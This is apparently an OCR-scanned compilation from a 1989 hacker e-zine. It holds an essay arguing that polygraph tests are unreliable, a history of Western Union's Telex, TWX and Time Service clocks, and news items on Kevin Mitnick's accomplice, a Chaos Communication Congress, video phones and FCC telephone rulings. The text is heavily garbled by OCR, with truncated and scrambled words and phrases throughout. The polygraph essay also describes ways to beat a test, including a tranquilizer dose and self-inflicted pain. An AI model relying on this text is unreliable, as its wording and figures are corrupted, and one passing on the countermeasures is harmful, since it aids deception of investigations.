detector. Many people believe in the validity of lie detectors because the 
instruments and printouts resemble those used by doctors and others who collect 
scientific data and because lie detectors are simple, convenient shortcuts to 
hard complicated decisions. Polygraphy is fast becoming an American obsession 
-- an obsession, incidentally, not shared by the British or the Europeans or, 
as far as we know, the Russians. 


American industry’s increasing dependence on the polygraph reflects an enormous 


faith in the rational processes of science. Each of us can recall a time when 
our voices sounded funny as we told a lie. Surely, if we can "hear" a lie, 
science can detect one. It comes as a disturbing shock, therefore, to learn 


how fragile the polygraph’s scientific foundations really are. 


The roots of the lie detector, more formally known as the polygraph, go back to 
the turn of the century, when infatuation with the newly discovered powers of 
electricity more than once overcame common sense. But whereas electric hair 
restorers and high-voltage cancer cures have all but vanished, the polygraph 
persists and even flourishes. According to the best estimates, over one 
million polygraph examinations are administered each year in the united States. 
They are used in criminal investigations, during government security checks, 


and increasingly by nervous employers -- particularly banks and stores. In 
certain parts of the country, a woman must pass a lie detector test before th 
authorities will prosecute a rape. In 1983 the television show Lie Detector 


added the dimension of home entertainment to polygraph tests. 
The National Security Agency (NSA) leads the roster of federal polygraph users; 
both it and the CIA rely heavily on polygraph testing for pre-employment and 
routine security screening. The NSA reported giving nearly 10,000 tests in 
1982 (CIA numbers are classified). Those who are labeled "deceptive" often 
lose their jobs, even if there is no actual evidence against them. Moreover, 
the polygraph report may become a permanent part of an employee’s records, and 
it will be extremely difficult to compel a correction. 


With the arrest in June 1985 of four Navy men on espionage charges, the issu 
of using polygraphs to uncover spies or ferret out dishonest job seekers has 
come to the forefront of the debate about what should be done to stem the loss 
of defense and company secrets and to dispel potential thieves in the 
workplace. 


Much the same issue is at the heart of the protracted wrangle between th 
Reagan Administration and Congress over plans for expanded government use of 
the polygraph. An executive order issued on March 11, 1983, known as National 
Security Decision Directive 84, would have sanctioned for the first time 
"adverse consequences" for a federal employ who refuses to take a test when 
asked. The directive authorized tests to investigate candidates for certain 
security clearances and to ask any federal employ about leaks of classified 
information. (This directive was issued shortly after Reagan’s comment about 
being "up to my keister" in press leads.) Almost simultaneously the Department 
of Defense (DOD) released a draft regulation that authorized use of the 
polygraph to screen employees who take on sensitive intelligence assignments; 
it, too, prescribed adverse consequences for refusal. 


Critics of the polygraph maintain that its use represents an invasion of 
privacy, especially when the coercive power of the government or an employer is 
behind the application. It is hard for a job applicant to say no when a 
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prospectiv mployer asks him or her to take a polygraph test; once hooked up 
to the machine, the applicant may face questions not only about past criminal 
activity but also about matters that an employer may have no business intruding 
upon, such as sexual practices or gambling -- questions asked ostensibly to 
assess the applicant’s "character." As a result of such abuses, nineteen 
states and the District of Columbia have made it illegal for an organization to 
ask its employees to take polygraph examinations. 


A question more basic than whether the polygraph is an unacceptable invasion of 
privacy is, of course, whether it works. Seeking an answer in the scientific 
literature can be a bewildering experience. A report by the Office of 
Technology Assessment (OTA), commissioned in 1983 by Brooks’s Committee on 
Government Operations, summed up the problem by citing twenty-four studies that 
found correct detection of guilt ranging from 35% to 100%. 


Polygraph theory thrives on a sort of Pinocchio vision of lying, in which 
physiological reactions -- changes in blood pressure or rate of breathing or 
sweating of the palms -- elicited by a set of questions will reliably betray 


falsehood. Lying, goes the rationale, is deliberate, and the knowledge and 
effort associated with it will make a person upset enough to display a physical 
reaction like a speedup of the heartbeat. The variables measured usually 
include the galvanic skin response (GSR), blood pressure, abdominal 
respiration, and thoracic respiration. The GSR is measured by fingertip 
electrodes that produce changes in the electrical resistance in the palms when 
they are sweating. The blood pressure and pulse are monitored through a system 
that uses a sphygmomanometer cuff, which is usually attached to the biceps 


(this is similar to the way doctors measure blood pressure). There is no 
"specific lie response." The polygraph merely records general emotional 
arousal. It does not distinguish anxiety or indignation from guilt. The real 


"lie detector" is the operator, who interprets the various body responses on 
the machine’s output. 


Polygraphers claim that it is the form and mix of questions that are the keys 
to their success. The standard format, known as the Control Question Test, 
involves interspersing "relevant" questions with "control" questions. Relevant 
questions relate directly to the critical matter: "Did you participate in the 
robbery of the First National Bank on September 11, 1981?" Control questions, 
fe) 
t 


n the other hand, are less precise: "In the last twenty years, have you ever 
aken something that did not belong to you?" 


In the pretest interview, the polygrapher reviews all the questions and frames 
the control questions to produce "no" answers. It is in this crucial pretest 
phase that the polygrapher’s deception comes into play, for he wants the 
A 
a 


nnocent subject to dissemble while answering the control questions during the 
ctual: test. 


The assumption underlying the Control Question Test is that the truthful 
subject will display a stronger physiological reaction to the control 
questions, whereas a deceptive subject will react more strongly to the relevant 
questions. That is the heart of it. Modern lie detection relies on nothing 
more than subtle psychological techniques, crude physiological indicators, and 
skilled questioning and interpretation of the results. 


Critics claim that polygraphy fails to take the complexities of lying into 
account. For some people lying can be satisfying, fulfilling, exciting, and 
even humorous, depending on their reasons for lying. Other people feel little 
or no emotion when lying. Still others believe their lies and think they are 
telling the truth when they are not. Moreover, the theory holds that deception 
produces distinctive physiological changes that characterize lying and only 
lying. This notion has no empirical support. Quite the contrary: Lying 
produces no known distinctive pattern of physiological activity. 


Undeniably, when being dishonest, people can feel great turmoil and a polygraph 
can measure this turmoil. But when apprehensive about being interrogated, they 
can give a Similar emotional reaction: When they think they are losing the 
chance for job openings or their jobs are on the line, when they reflect on the 
judgements that could be made about their answers, or, for that matter, when 
they are angry, puzzled, or even amused by the impertinent probing of a total 
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stranger. Some control questions may make a person appear guilty. Such 
questions may force a subject into a minor lie or ask about an invented crime 
that nonetheless makes the subject nervous. 


Lie detectors are especially unreliable for truthful people. Many more 
innocent people test as "deceptive" than guilty people test as "innocent." 
Those who run a special risk include people who get upset if someone accuses 
them of something they didn’t do, people with short tempers, people who tend to 
£ 

A 

t 


eel guilty anyway, and people not accustomed to having their word questioned. 
ll of these feelings can change heart rate, breathing, and perspiration and 
heir heightened feelings are easily confused with guilt. 


It has also been shown that polygraphs are easily manipulated. Four hundred 
milligrams of the tranquilizer meprobamate taken an hour or two before a 
polygraph session can make it virtually impossible to spot a liar by his 
physiological responses. In fact, some researchers even argue that an examinee 
can use simple countermeasures, such as biting one’s tongue, gouging oneself 
with a fingernail, or stepping on a nail concealed in a shoe, to fake a strong 
reaction to the control questions, thus "beating" the test. According to one 
researcher, one prison inmate, who became the jail-house polygraph expert after 
studying the literature, trained twenty-seven fellow inmates in the seat 
techniques; twenty-thr beat the polygraph tests used tons investigate 
violations of prison rules. However, do not try sighing, coughing, or 
clenching your fist or arm. Polygraphers usually are suspicious of those 
techniques and may label you "deceptive" for that reason alone. 


It should be obvious that the interpretation of the results of any polygraph 
test will certainly be very difficult. Also, not all responses on the machine 
will agree. What are the present qualifications for a polygrapher? Most of 
the twenty-five or more schools that train examiners provide only an eight-week 
course of instruction and require two years of college for admission. This is 
about one-sixth the study time of the average barber college. Perhaps as many 
as a dozendy time of contemporary polygraphers do hold Ph.D’s, but the vast 
majority of the 4,000 to 8,000 practicing examiners had no simple significant 
training in physiology or in psychology, even though lie detection demands 
extremely subtle and difficult psychophysiological interpretations. There are 
no licensing standards for polygraph operators, and, with so many poorly, who 
trained operators, thousands of tests are conducted hastily and haphazardly, 
resulting in highly questionable accuracy. For many innocent people, their 
judge and jury are these unskilled operators. 


Honesty is also difficult to predict because it tends to be situation-— 
specific. Therefore, it is more dependent on motivation and opportunity than 
on some personality trait. As Bertrand Russell once said, "Virtue is dictated 
by results of circumstance." 


Proponents of the polygraph sometimes cite "correct guilty detections": The 
percentage of guilty subjects who are caught by the polygraph. This figure can 
be very impressive: In one study that does not suffer from the failings 
already mentioned, it was 98% correct. But the same study found that 55% of 
innocent subjects were also diagnosed as "deceptive." The handful of studies 
that used a truly random selection of cases and scored them blind produced 
Similar results: Overall, 83% of guilty subjects were diagnosed as 
"deceptive," as were 43% of innocent subjects. It’s no trick to push the rate 
of correct guilty detections to 100% -- just call everyone "deceptive." You 
don’t even need a machine to do that! 


Nature published its conclusions last year. Their aggregated findings were 
based on the polygraph charts of 207 criminal suspects, which 14 polygraphers 
scored independently. On the average, they erroneously diagnosed 43% of 
innocent suspects as deceptive. Such errors, called false positives, ranged as 
high as 50%. The corresponding errors of deceptive persons "passing the test," 
or false negatives, were as high as 36%. 


The accuracy rates of "failed" and "passed" depend, of course, on the 
proportion of dishonest persons in the group tested. Thus, if 800 of 1,000 
persons tested are truthful, a test that is 72% accurate overall will accuse 
144 liars and 224 truthful persons. This is not an impressive accuracy record. 
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These numbers suggest that the polygraph test is biased against innocent 
people. The problem is accentuated when the test is used in the screening 
situations envisioned in the Reagan Administration proposals (and already 
established at the NSA and the CIA). Everyone is tested, but presumably only a 
very small proportion has done anything wrong. If we assume that one employee 
in a hundred is a spy (probably a gross overestimate), and if we use the 83% 
correct-guilty-detection rate, we find that 51 innocent persons will flunk the 
polygraph test for every real spy who flunks. Any test, whether it is for 
truth or for cancer, has to be extremely accurate to detect a rare phenomenon 


without setting off a lot of false alarms in the process. Even if the test 
were 99% accurate for both guilty and innocent detections, one innocent person 
would be falsely branded for each spy caught. Because of this "case rate" 


problem, the FBI forbids the use of polygraph dragnets: The tests can be used 
only after an initial investigation has narrowed the field of suspects. 


Given all the doubts about their validity, why does the government persist in 
using polygraph tests? Some clues are found in the DOD 1983 report on 
polygraph testing -- even in its title, "The Accuracy and Utility of Polygraph 
Testing" which suggests that accuracy and utility are two different things. 
The most that report concludes about accuracy is that it is "significantly 
above chance." Utility, however, is quite another matter. Perhaps the most 
telling statement about lie detectors comes from former president Nixon, who 
declared on one of the White House tapes, "I don’t know anything about lie 
detectors other than they scare the hell out of people." 
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=== Western Union === 
== Telex, TWX, and Time Servic 


=== by Phone Phanatic === 


September 17, 1989 === 


"Until a few years ago maybe ten it was very common to 
see TWX and Telex machines in almost every business place." 


[There were only minor differences between Telex and TWX. The biggest 
difference was that the former was always run by Western Union, while the 
latter was run by the Bell System for a number of years. TWX literally meant 
"(T) ype (W) riter e(x)change," and it was Bell’s answer to competition from 
Western Union. There were "thr row" and "four row" machines, meaning the 
number of keys on the keyboard and how they were laid out. The "three row" 
machines were simply part of the regular phone network; that is, they could 
dial out and talk to another TWX also connected on regular phone lines. 


Eventually these were phased out in favor of "newer and more improved" machines 
with additional keys, as well as a paper tape reader attachment which allowed 
sending the same message repeatedly to many different machines. These "four 
row" machines were not on the regular phone network, but were assigned their 
own area codes (410-510-610-710-810-910) where they still remain today. The 
only way a four row machine could call a three row machine or vice-versa was 
through a gateway of sorts which translated some of the character set unique to 
each machine. 


Western Union’s network was called Telex and in addition to being able to 
contact (by dial up) other similar machines, Telex could connect with TWX (and 
vice-versa) as well as all the Western Union public offices around the country. 
Until the late 1950’s or early 1960’s, every small town in America had a 
Western Union office. Big cities like Chicago had perhaps a dozen of them, and 
they used messengers to hand deliver telegrams around town. Telegrams could be 
placed in person at any public office, or could be called in to the nearest 
public office. 


By arrangement with most telcos, the Western Union office in town nearly always 
had the phone number 4321, later supplemented in automated exchanges with some 
prefix XXX-4321. Telegrams could be charged to your home phone bill (this is 
still the case in some communities) and from a coin phone, one did not ask for 
4321, but rather, called the operator and asked for Western Union. This was 
necessary since once the telegram had been given verbally to the wire clerk, 
s/he in turn had to flash the hook and get your operator back on the line to 
tell them "collect five dollars and twenty cents" or whatever the cost was. 
Telegrams, like phone calls, could be sent collect or billed third party. If 
you had an account with Western Union, i.e. a Telex machine in your office, you 
could charge the calls there, but most likely you would simply send the 
telegram from there in the first place. 


Sometime in the early 1960’s, Western Union filed suit against AT&T asking that 
they turn over their TWX business to them. They cited an earlier court ruling, 
circa 1950’s, which said AT&T was prohibited from acquiring any more telephone 


operating companies except under certain conditions. The Supreme Court agreed 
with Western Union that "spoken messages" were the domain of Ma Bell, but 
"written messages" were the domain of Western Union. So Bell was required to 


divest itself of the TWX network, and Western Union has operated it since, 

although a few years ago they began phasing out the phrase "TWX" in favor of 
"Telex II"; their original device being "Telex I" of course. TWX still uses 
ten digit dialing with 610 (Canada) or 710/910 (USA) being the leading three 
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digits. Apparently 410-510 have been abandoned; or at least they are used very 
little, and Bellcore has assigned 510 to the San Francisco area starting ina 
year or so. 410 still has some funny things on it, like the Western Union 
"Infomaster," which is a computer that functions like a gateway between Telex, 
TWX, EasyLink and some other stuff. 


Today, the Western Union network is but a skeleton of its former self. Now 
most of their messages are handled on dial up terminals connected to the public 
phone network. It has been estimated the TWX/Telex business is about fifty 
percent of what it was a decade ago, if that much. 


Then there was the Time Service, a neat thing which Western Union offered for 
over seventy years, until it was discontinued in the middle 1960’s. The Time 
Service provided an important function in the days before alternating current 
was commonly available. For example, Chicago didn’t have AC electricity until 
about 1945. Prior to that we used DC, or direct current. 


Well, to run an electric clock, you need 60 cycles AC current for obvious 
reasons, so prior to the conversion from DC power to AC power, electric wall 
clocks such as you see in every office were unheard of. How were people to 
tell the time of day accurately? Enter the Western Union clock. 


The Western Union, or "telegraph clock" was a spring driven wind up clock, but 
with a difference. The clocks were "perpetually self-winding," manufactured by 
the Self-Winding Clock Company of New York City. They had large batteries 
inside them, known as "telephone cells" which had a life of about ten years 
each. A mechanical contrivance in the clock would rotate as the clock spring 
unwound, and once each hour would cause two metal clips to contact for about 
ten seconds, which would pass juice to the little motor in the clock which in 
turn re-wound the main spring. The principle was the same as the battery 
operated clocks we see today. The battery does not actually run the clock -- 
direct current can’t do that -- but it does power the tiny motor which re-winds 
the spring which actually drives the clock. 


The Western Union clocks came in various sizes and shapes, ranging from the 
smallest dials which were nine inches in diameter to the largest which were 
about eighteen inches in diameter. Some had sweep second hands; others did 
not. Some had a little red light bulb on the front which would flash. The 
typical model was about sixteen inches, and was found in offices, schools, 
transportation depots, radio station offices, and of course in the telegraph 
office itself. 


The one thing all the clocks had in common was their brown metal case and 
cream-colored face, with the insignia "Western Union" and their corporate logo 
i 

fo) 


n those days which was a bolt of electricity, sort of like a letter "Z" laying 
n its side. And in somewhat smaller print below, the words "Naval Observatory 
ime." 


y 


he local clocks in an office or school or wherever were calibrated by a 
"aster clock" (actually a sub-master) on the premises. Once an hour on the 
hour, the (sub) master clock would drop a metal contact for just a half second, 
and send about nine volts DC up the line to all the local clocks. They in turn 
had a "tolerance" of about two minutes on both sides of the hour so that the 
current coming to them would yank the minute hand exactly upright onto the 
twelve from either direction if the clock was fast or slow. 


The sub-master clocks in each building were in turn serviced by the master 
clock in town; usually this was the one in the telegraph office. Every hour on 
the half hour, the master clock in the telegraph office would throw current to 
the sub-masters, yanking them into synch as required. And as for the telegraph 
offices themselves, they were serviced twice a day by -- you guessed it th 
Naval Observatory Master clock in Our Nation’s Capitol, by the same routine. 
Someone there would press half a dozen buttons at the same time, using all 
available fingers; current would flow to every telegraph office and synch all 
the master clocks in every community. Western Union charged fifty cents per 
month for the service, and tossed the clock in for free! Oh yes, there was an 
installation charge of about two dollars when you first had service (i.e. a 
clock) installed. 
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The clocks were installed and maintained by the "clockman," a technician from 
Western Union who spent his day going around hanging new clocks, taking them 
out of service, changing batteries every few years for each clock, etc. 


What a panic it was for them when "war time" (what we now call Daylight Savings 
Time) came around each year! Wally, the guy who serviced all the clocks in 
downtown Chicago had to start on *Thursday* before the Sunday official 
changeover just to finish them all by *Tuesday* following. He would literally 
rush in an office, use his screwdriver to open the case, twirl the hour hand 
around one hour forward in the spring, (or eleven hours *forward* in the fall 
since the hands could not be moved backward beyond the twelve going 
counterclockwise), slam the case back on, screw it in, and move down the hall 
to the next clock and repeat the process. He could finish several dozen clocks 
per day, and usually the office assigned him a helper twice a year for these 
events. 


He said they never bothered to line the minute hand up just right, because it 


would have taken too long, and "..... anyway, as long as we got it within a 
minute or so, it would synch itself the next time the master clock sent a 
Signal..." Working fast, it took a minute to a minute and a half to open the 


case, twirl the minute hand, put the case back on, "Stop and b.s. with the 
receptionist for a couple seconds" and move along. 


The master clock sent its signal over regular telco phone lines. Usually it 
would terminate in the main office of whatever place it was, and the (sub) 
master there would take over at that point. 


Wally said it was very important to do a professional job of hanging the clock 
to begin with. It had to be level, and the pendulum had to be just right, 
otherwise the clock would gain or lose more time than could be accommodated in 
the hourly synching process. He said it was a very rare clock that actually 
was out by even a minute once an hour, let alone the two minutes of tolerance 
built into the gear works. 


",..Sometimes I would come to work on Monday morning, and find out 
in the office that the clock line had gone open Friday evening. So 
nobody all weekend got a signal. Usually I would go down a manhole 
and find it open someplace where one of the Bell guys messed it up, 
or took it off and never put it back on. To find out where it was 
open, someone in the office would ’ring out’ the line; I’d go around 
downtown following the loop as we had it laid out, and keep listening 
on my headset for it. When I found the break or the open, I would 
tie it down again and the office would release the line; but then I 
had to go to all the clocks *before* that point and restart them, 
since the constant current from the office during the search had 
usually caused them to stop." 


But he said, time and again, the clocks were usually so well mounted and hung 
that "...it was rare we would find one so far out of synch that we had to 
adjust it manually. Usually the first signal to make it through once I 
repaired the circuit would yank everyone in town to make up for whatever they 
lost or gained over the weekend..." 


In 1965, Western Union decided to discontinue the Time Service. In a nostalgic 
letter to subscribers, they announced their decision to suspend operations at 
the end of the current month, but said "for old time’s sake" anyone who had a 
clock was welcome to keep it and continue using it; there just would not be any 
setting signals from the master clocks any longer. 


Within a day or two of the official announcement, every Western Union clock in 
the Chicago area headquarters building was gone. Th xecutives snatched them 
off the wall, and took them home for the day when they would have historical 
value. All the clocks in the telegraph offices disappeared about the same 
time, to be replaced with standard office-style electric wall clocks. 
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Happy Holidays and Welcome to Issue XXX of Phrack World News! 


This issue of Phrack World News contains stories and articles detailing events 
and other information concerning Acid Phreak, AT&T, Apple Computer Co., 
Bellcore, Bernie S., Klaus Brunnstein, Cap’n Crunch, Captain Crook, Chaos 
Communications Congress, Cheshire Catalyst, Clifford Stoll, CompuServe, Leonard 
Mitchell DiCicco, Emmanuel Goldstein, FCC, Katie Hafner, Harpers Magazine, 
Intellical, Michael Synergy, Kevin David Mitnick, Phiber Optik, Phonavision, 
Phrozen Ghost, Prime Suspect, Sir Francis Drake, Susan Thunder, Telenet, Terra, 
Tuc, Tymnet, The Well, and... 


Announcing the Fourth Annual... 


SummerCon /’90 
June 22-24, 1990 
Saint Louis, Missouri 


This year’s convention looks to be the more incredible than ever. Many of you 
will be hearing from us directly over the next few months about what will be 
taking place and where SummerCon ’90 will be held specifically. The posted 
date is of course a tentative one (as we are still six months away), but any 
and all changes or new information will be in PWN and passed to our network 
friends. 


If you are thinking about attending SummerCon ’90, please find a way to contact 
uS aS soon as possible. If you are not on the Internet or one of the public 
access Unix systems across the country, then post a message on bulletin boards 
that asks who is in contact with us. Chances are that there will be someone on 
there that can reach us. 


Knight Lightning / Forest Ranger / Taran King 


"A New Decade Is Upon Us... And The Future Never Looked Brighter!" 


Mitnick’s Partner Gets Community Service November 29, 1989 


By Kathy McDonald (New York Times) 


"Man Sentenced To Community Service For Helping Steal Computer Program" 


LOS ANGELES -- A federal judge has sentenced a 24-year-old suburban Calabasas 
man to community service at a homeless shelter for his role in helping computer 
hacker Kevin Mitnick steal a computer security program. 


In rejecting a sentencing report that suggested a prison term, U.S. District 
Judge Mariana Pfaelzer noted that Leonard Mitchell DiCicco had voluntarily 
notified authorities of the computer hacking. 


"I think you can do some good" in the community by using his computer skills 
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productively, Pfaelzer told DiCicco. 
She sentenced DiCicco to five years of probation, during which he must complete 


750 hours of community service through the Foundation for People, a Los Angeles 
group that matches probationers with community service projects. 


DiCicco was assigned to develop a computer system for the Anaheim Interfaith 
Shelter, said Frances Dohn, a foundation official. 


DiCicco also was ordered to pay $12,000 in restitution to Digital Equipment 
Corporation of Massachusetts, from which Mitnick stole a computer security 
program. 


Assistant U.S. Attorney James Asperger agreed with the community service 
sentence, saying DiCicco’s cooperation had been crucial in the case against 
Mitnick. 


DiCicco reported Mitnick to DEC officers. Mitnick later admitted he stole th 
program and electronically brought it to California. 


DiCicco pleaded guilty in July to one count of aiding and abetting the 
interstate transportation of stolen property. He admitted that in 1987 he let 
Mitnick, age 25, of suburban Panorama City, use his office computer at 
Voluntary Plan Administrators in Calabasas to break into the DEC system. 


Mitnick pleaded guilty and was sentenced in July to one year in prison and six 
months in a community treatment program aimed at breaking his "addiction" to 
computer hacking. 


Under a plea bargain agreement with the government, DiCicco pleaded guilty in 
July in exchange for a promise that he would not be prosecuted for any of the 
other instances of computer hacking he and Mitnick carried out. 


If you are looking for other articles related to Leonard Mitchell DiCicco and 


the famous Kevin David Mitnick please refer to; 

"Pacific Bell Means Business" (10/06/88) PWN XXI....Part 
"Dangerous Hacker Is Captured" (No Date ) PWN XXII...Part 
"Ex-Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII...Part 
"Dangerous Keyboard Artist" (12/20/88) PWN XXII...Part 
"Armed With A Keyboard And Considered Dangerous" (12/28/88) PWN XXIII..Part 
"Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII..Part 
"Mitnick Plea Bargains" (03/16/89) PWN XXV....Part 
"Mitnick Plea Bargain Rejected As Too Lenient" (04/25/89) PWN XXVII..Part 
"Computer Hacker Working On Another Plea Bargain" (05/06/89) PWN XXVII..Part 
"Mitnick Update" (05/10/89) PWN XXVII..Part 
"Kenneth Siani Speaks Out About Kevin Mitnick" (05/23/89) PWN XXVII..Part 
"Judge Suggests Computer Hacker Undergo Counseling" (07/17/89) PWN XXVIII.Part 
"Authorities Backed Away From Original Allegations" (07/23/89) PWN XXVIII.Part 
"Judge Proposes Comm. Service For Hacker’s Accomp."(10/13/89) PWN XXX....Part 


Chaos Communications Congress 


by Terra of the Chaos Computer Club 


On December 27-29, 1989 is the Chaos Communication Congress at Eidelstaedter 
Buergerhaus, Hamburg, West Germany. 


The topics of this Congress include: 


The new German PTT law 


—- Discussion about Copyright and Freedom of Information act 


— Women and Computers 
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- Mailbox and other Networks (Zerberus, InterEuNet, UUCP) 


- Workshops for East and West German people to build networks between the two 
countries. 


—- Discussion between Professor Klaus Brunnstein and CCC members about the 
problems of viruses and worms. 


- Workshops about Unix and UUCP for beginners, advanced, and special people 
—- Presswork in a special room 
—- Workshop Cyberbrain or Cyberpunk 


- Workshop and Discussion about Secure Networks (Special: TeleTrust, coding 
mixed gateways) 


The prices to enter the Congress are 
33 DM for Normal people 

23 DM for CCC-members 

53 DM for Press 

Regards, 


Terra 


Phonavision At The University of California October 15, 1989 


Taken From the New York Times 


CALIFORNIA -- Students at two campuses of the University of California, at 
Berkeley and Los Angeles, have become the test market for a new public 
video-telephone booth called Phonavision. 


Its developers claim that it is the world’s first video telephone for the 
general public. 


Each of the campuses has one of the large, silver-color phone booths in its 
student union. Phonavision opened on October 9, for a week of free 
demonstrations. Starting October 16, video phone calls from one campus to the 
other will cost $10 for three minutes. 


"We view all this semester as a test," said Stephen Strickland, chief executive 
officer of the Los Angeles-based company, Communications Technologies, that 
developed the video phones. "We want to be sure that when we do go to market 
with this service, it’s as good as it can be." 


"We feel we’re probably six months to a year away from having a system that we 
can go out and market," Strickland said. "I see them in airport lobbies, hotel 
lobbies, shopping centers, indoor high-traffic locations." Video telephones 
are already widely used in business, he added. 


Phonavision callers speak to each other on standard telephone receivers. 


A snapshot-size image of their own face is projected on one half of a small 
screen, and the other half shows a picture of the person to whom they are 
talking. 


As a caller talks, the video screen shows small movements of the mouth or face. 
But sudden movements mean a distorted picture. 


With a tilt of a caller’s head, for example, the image will move to the side in 
separate parts, starting with the top of the head and moving down in a wavelike 
motion. 
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Annalee Andres, a sophomore from Santa Ana, California, who has not yet 
selected a major, was one of the first students to try out Berkeley’s new video 
phone. She and her friends crowded around the phone booth in the Martin Luther 
King Jr. Student Center, taking turns talking to a student from UCLA. 


"I think it has a long way to go yet, but it’s really cool," she said. "I can 
really see where it’s leading." 


Ms. Andres speculated on the effects that widespread use of video phones would 
have. "What if they catch you and you’re just out of the shower?" she asked. 
"It’1ll change dating." 


Daniel Ciruli, a junior from Tucson, Arizona, majoring in computer science, was 
enthusiastic about his trial session, but he said the fee would keep him away 
in the future. 


"It’s a new toy," he said. "But at $10 for three minutes, with only one other 
Phonavision, it’s not going to be something that students are beating down the 
door to use." 


The video phone booth offers other services: Recording and dealing in 
videotapes and a place to send and receive fax messages. The booth accepts $1, 
$5, $10 and $20 bills, as well as Mastercard and Visa. 


Gary Li, a senior from Beijing, who is majoring in electrical engineering, 
started setting up Berkeley’s phone booth in April. Since then he has spent 
about 20 hours a week repairing kinks in the system. 


Berkeley and UCLA were chosen as tryout spots for the new service because most 
students know somebody at the other campus, said Strickland, the company’s 
chief executive. 


"That’s a place where we can get novelty use," he said, adding that "Berkeley 
nd UCLA have a reputation for being front-runner schools -- places that are 
innovative, that like new technology." 


ow 


Strickland said his company has spent almost thr years developing 
Phonavision. He would not disclose total costs, but priced the video phone 
booths at $50,000 each. 


The Omnipresent Telephon October 10, 1989 


Taken from The New York Times 


Whatever the psychological implications, new technology has clearly made the 
phone more omnipresent. More calls are generated because of answering 
machines, now owned by 28 percent of the nation’s households, according to the 
Electronic Industries Association. People who use them say they make and 
receive more calls because of them. 


"In olden days you would just miss the call," said Michael Beglin, a 
businessman in Nashville. 


Jill Goodman, an art dealer in New York, says she talks on the phone so often 
that "I’m tortured about it, teased and insulted." She uses the phone to 
socialize, shop and check in with people she wants to stay in touch with but 
does not want to take the time to s 


"I have two lines in the country, two lines at home in the city and three lines 
in my office, if that gives you any idea of how much phone I can generate," sh 
said. 


A month ago, after resisting initially, she decided to have a car phone 
installed. "I thought it might be nice to have a couple of hours without being 
reachable," she said. "But I didn’t like not being able to reach when I wanted 
tos" 
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Increasingly, too, people are using the phone to get services, information and 
products. 


The 900 numbers, which require callers to pay the cost, and the 800 numbers, 
paid for by the calls’ recipients, are growing quickly. 


Sprint Gateways started a new 900 service in May that already has 250 lines. 
Callers can get wrestling trivia, financial updates, real-estate information 
and a host of other data. They can even play a version of "Family Feud," which 
receives as many as 7,000 calls a day, said Adrian Toader, the director of 
sales and marketing. 


Telephone shopping through 800 numbers continues to grow, too. In 1986, L.L. 
Bean, the Freeport, Maine, retailer, received 60 percent of its orders by 
telephone and 40 percent by mail; by 1988, telephone orders had risen to 70 
percent. Like an increasing number of retailers, L.L. Bean allows customers to 
call in their orders 24 hours a day. 


But callers to 800 numbers often want more than a new shirt or sweater. 


Susan Dilworth, who takes telephone orders for L.L. Bean, said, "A lot of 


people call and say: ‘’I’m coming to New England for the first time. How 
should I dress?’" Other callers order merchandise but then begin talking about 
their personal lives. "I think they’re lonely," Mrs. Dilworth said. 


Indeed, these anonymous but personal contacts are so popular that some people 
are becoming hooked. 


Marilyn Ng-A-Qui, the acting executive director of the New York City Self-Help 
Clearinghouse, said one man called looking for help because he had run up a 
$5,000 bill calling 900 numbers. "It is emerging as a problem all over the 
country," she said. 


Despite the deluge of telephone conversation, there are holdouts. Lois Korey, 
a partner in a New York advertising agency, writes letters whenever she can, 
often suggesting lunch meetings. "I really like to see who I’m talking to," 
she said. 


But even her partner, Allen Kay, calls her from his office just four feet away. 
The only time he could not telephone, Mrs. Korey said, was when he was in his 
car. And now those days are over. "He got a car phone a month ago, and he 
calls all the time," she said. "When I sit in the front seat of his car, I try 
to step on it." 


Higher Phone Rates For Modem Users November 26, 1989 


(Material gathered from an Apple digest on Usenet) 


A new regulation that the FCC is quietly working on will directly affect you as 
the user of a computer and modem. The FCC proposes that users of modems should 
pay extra charges for use of the public telephone network which carry their 
data. 


In addition, computer network services such as CompuServe, Tymnet, & Telenet 
would also be charged as much as $6.00 per hour per user for use of the public 
telephone network. These charges would very likely be passed on to the 
subscribers. 


The money is to be collected and given to the telephone company in an effort to 
raise funds lost to deregulation. 


Jim Eason of KGO newstalk radio (San Francisco, California) commented on the 
proposal during his afternoon radio program during which, he said he learned of 
the new legislation in an article in the New York Times. Jim took the time to 
gather the addresses which are given below. 


It is important that you act now. The bureaucrats already have it in there 
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mind that modem users should subsidize the phone company and are now listening 
to public comment. Please stand up and make it clear that we will not stand 
for any government restriction on the free exchange of information. 


The people to write to about this situation are: 


Chairman of the FCC 
1919 M Street N.W. 
Washington, D.C. 20554 


Chairman, Senate Communication Subcommittee 
SH-227 Hart Building 
Washington, D.C. 20510 


Chairman, House Telecommunication Subcommittee 
B-331 Rayburn Building 
Washington, D.C. 20515 


Here is a sample letter: 


Dear Sir, 
Please allow me to express my displeasure with the FCC proposal which 

would authorize a surcharge for the use of modems on the telephone network. 

This regulation is nothing less than an attempt to restrict the free exchange 


of information among the growing number of computer users. Calls placed using 
modems require no special telephone company equipment, and users of modems pay 
the phone company for use of the network in the form of a monthly bill. In 


short, a modem call is the same as a voice call and therefore should not be 
subject to any additional regulation. 


FCC Orders Refunds to Long-Distance Companies November 30, 1989 


Taken from Associated Press 


WASHINGTON -—- Local telephone companies may have to refund as much as $75 
million to long-distance companies and large private-line business customers, 
the Federal Communications Commission says. 


Pacific Northwest Bell in Idaho is one of the 15 companies named. The local 

phone companies accumulated overcharges between 1985 and 1988 under FCC 
guidelines that allowed prices of these high capacity private-line services to 
xceed the phone companies’ costs of providing the services. 


The FCC ordered a refund as it considered challenges to the special pricing 
scheme, which the local phone companies provide for long-distance companies or 
large business customers. The commission voted 4-0 that the scheme was legal 
during the 1985-88 period, when the high prices were designed to keep too many 
customers from switching from the regular public network to private lines, but 
that market conditions no longer justify continuation of the special pricing. 
The commission said it expects the local phone companies to refrain from 
requesting such special prices in the future. 


While examining the challenges to the special pricing scheme, the commission 
said it found that local phone companies in some cases had charged more than 
allowed under the commission’s guidelines. Therefore, the companies must 
refund those charges, which could amount to as much as $75 million, the 
commission said. The FCC said the amount of the refunds will not be known 
until the local phone companies file detailed reports with the commission. The 
companies have 40 days to make their filings. 


The companies found not to be in compliance with the commission’s pricing 
guidelines from October 1, 1985 to December 31, 1986 were: 


—- Diamond State 
- South Central Bell in Alabama 
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- Southwestern Bell 
- Northwestern Bell 


in Missouri and Oklahoma 


- Pacific Northwest Bell in Idaho 


Pacific Northwest Bell is now called U.S. 


company that serves most Seattle-area residents. 


